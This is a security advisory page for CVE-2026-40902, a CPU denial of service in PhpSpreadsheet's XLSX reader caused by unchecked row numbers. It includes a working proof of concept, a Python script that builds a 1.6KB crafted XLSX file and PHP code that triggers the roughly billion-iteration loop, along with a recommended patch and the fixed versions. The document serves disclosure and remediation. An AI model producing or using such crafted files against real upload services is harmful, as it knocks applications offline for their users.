CVE-2026-40902: PhpSpreadsheet: CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

Published Apr 29, 2026
·
Updated

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAXROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

php // ColumnAndRowAttributes.php:216 $rowIndex = (int) $row['r']; // No validation against AddressRange::MAXROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

php // Worksheet.php:1342-1349 public function getRowDimension(int $row): RowDimension { if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; }

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

php // RowIterator.php:86 $this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAXCOLUMNINT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAXROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

python import zipfile import io

contenttypes = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wbrels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dosrow.xlsx', 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr('[ContentTypes].xml', contenttypes) zf.writestr('rels/.rels', rels) zf.writestr('xl/workbook.xml', workbook) zf.writestr('xl/rels/workbook.xml.rels', wbrels) zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dosrow.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

php <?php require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx'); $spreadsheet = $reader->load('dosrow.xlsx'); $sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n"; // Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations) foreach ($sheet->getRowIterator() as $row) { // CPU exhaustion }

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

- CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file. - Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory. - Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations. - Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

php // src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216 // Before: $rowIndex = (int) $row['r'];

// After: $rowIndex = (int) $row['r']; if ($rowIndex < 1 || $rowIndex > AddressRange::MAXROW) { continue; }

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Other sources

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Prior to 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0, the XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAXROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources. This vulnerability is fixed in 1.30.4, 2.1.16, 2.4.5, 3.10.5, and 5.7.0.

MITRE

Affected Software

10 affected componentsFixes available
composer/phpoffice/phpspreadsheet<=1.30.3
1.30.4
composer/phpoffice/phpspreadsheet>=2.0.0<=2.1.15
2.1.16
composer/phpoffice/phpspreadsheet>=2.2.0<=2.4.4
2.4.5
composer/phpoffice/phpspreadsheet>=3.3.0<=3.10.4
3.10.5
composer/phpoffice/phpspreadsheet>=4.0.0<=5.6.0
5.7.0
PHPOffice phpspreadsheet<1.30.4
PHPOffice phpspreadsheet>=2.0.0<2.1.16
PHPOffice phpspreadsheet>=2.2.0<2.4.5
PHPOffice phpspreadsheet>=3.3.0<3.10.5
PHPOffice phpspreadsheet>=4.0.0<5.7.0

Event History

Apr 29, 2026
Advisory Published
via GitHub·08:24 PM
Data Sourced
via GitHub·08:24 PM
DescriptionSeverityWeaknessAffected Software
May 12, 2026
CVE Published
via MITRE·10:02 PM
Data Sourced
via MITRE·10:02 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-40902?

CVE-2026-40902 has been classified as a high severity vulnerability due to the potential for arbitrary row number exploitation.

2

How do I fix CVE-2026-40902?

To fix CVE-2026-40902, upgrade to PhpSpreadsheet version 1.30.4, 2.1.16, 2.4.5, 3.10.5, or 5.7.0.

3

What type of vulnerability is CVE-2026-40902?

CVE-2026-40902 is a validation vulnerability that allows an attacker to exploit the XLSX reader's handling of row attributes.

4

What software is affected by CVE-2026-40902?

CVE-2026-40902 affects multiple versions of the PhpSpreadsheet package prior to the specified remedial versions.

5

Can CVE-2026-40902 be exploited remotely?

Yes, an attacker can exploit CVE-2026-40902 by crafting a malicious XLSX file that bypasses row limit validation.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203